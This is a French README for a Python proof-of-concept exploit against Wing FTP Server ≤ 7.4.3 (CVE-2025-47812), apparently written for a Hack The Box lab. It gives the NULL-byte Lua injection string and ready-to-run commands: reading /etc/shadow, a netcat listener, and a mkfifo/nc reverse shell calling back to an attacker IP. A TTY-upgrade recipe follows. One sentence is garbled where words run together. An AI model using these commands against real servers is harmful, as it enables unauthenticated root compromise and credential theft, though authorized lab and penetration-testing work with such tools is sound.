
CVE-2025-47812 Poc pour wingdata HTB
Exploit Python pour la RCE par injection Lua sans authentification dans Wing FTP Server ≤ 7.4.3. Conçu pour la livraison de shell — une commande de check à un callback netcat fonctionnel.
Écrit il y a quelque temps pour le lab wingData sur HTB et maintenant open-source. À utiliser uniquement contre les systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite de tester.
La fonction c_CheckUser() du serveur Wing FTP tronque le username au premier octet NULL pour l'authentification, mais le chemin de création de session écrit le nom complet non nettoyé dans un fichier de session Lua. Injectez anonymous%00]]<lua>-- et le serveur écrit joyeusement votre Lua dans la session. L'accès à un point de terminaison authentifié ( fonctionne) charge ce fichier de session via → , exécutant le code injecté en tant que / .
dir.htmlloadfile()f()rootSYSTEMVersions affectées : Wing FTP Server ≤ 7.4.3. Corrigé dans la version 7.4.4.
pip install requests
C'est tout — aucune autre dépendance.
# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Reverse shell (the easy path)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
| Indicateur | Par défaut | But |
|---|---|---|
-u, --url | obligatoire | URL de base de la cible — Wing FTP écoute généralement sur :5466 (HTTP) ou :5467 (HTTPS). |
-U, --username | anonymous | Nom d'utilisateur avant l'octet NULL. Anonymous fonctionne sur les installations par défaut. |
-P, --password | vide | Mot de passe pour le POST d'injection. Vide est acceptable pour anonymous. |
-v, --verbose | désactivé | Affiche la charge utile Lua, les URLs touchées et le corps de la réponse brute. |
http://target:5466/login.html dans un navigateur avant de supposer que l'URL est erronée.shell n'obtient pas de callback, utilisez detached avec la charge utile mkfifo ci-dessus. Certaines images Linux minimales n'incluent pas bash.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
Pour un usage éducatif et des tests de sécurité autorisés uniquement. Vous êtes responsable des cibles vers lesquelles vous dirigez cet outil.
MIT — voir LICENSE.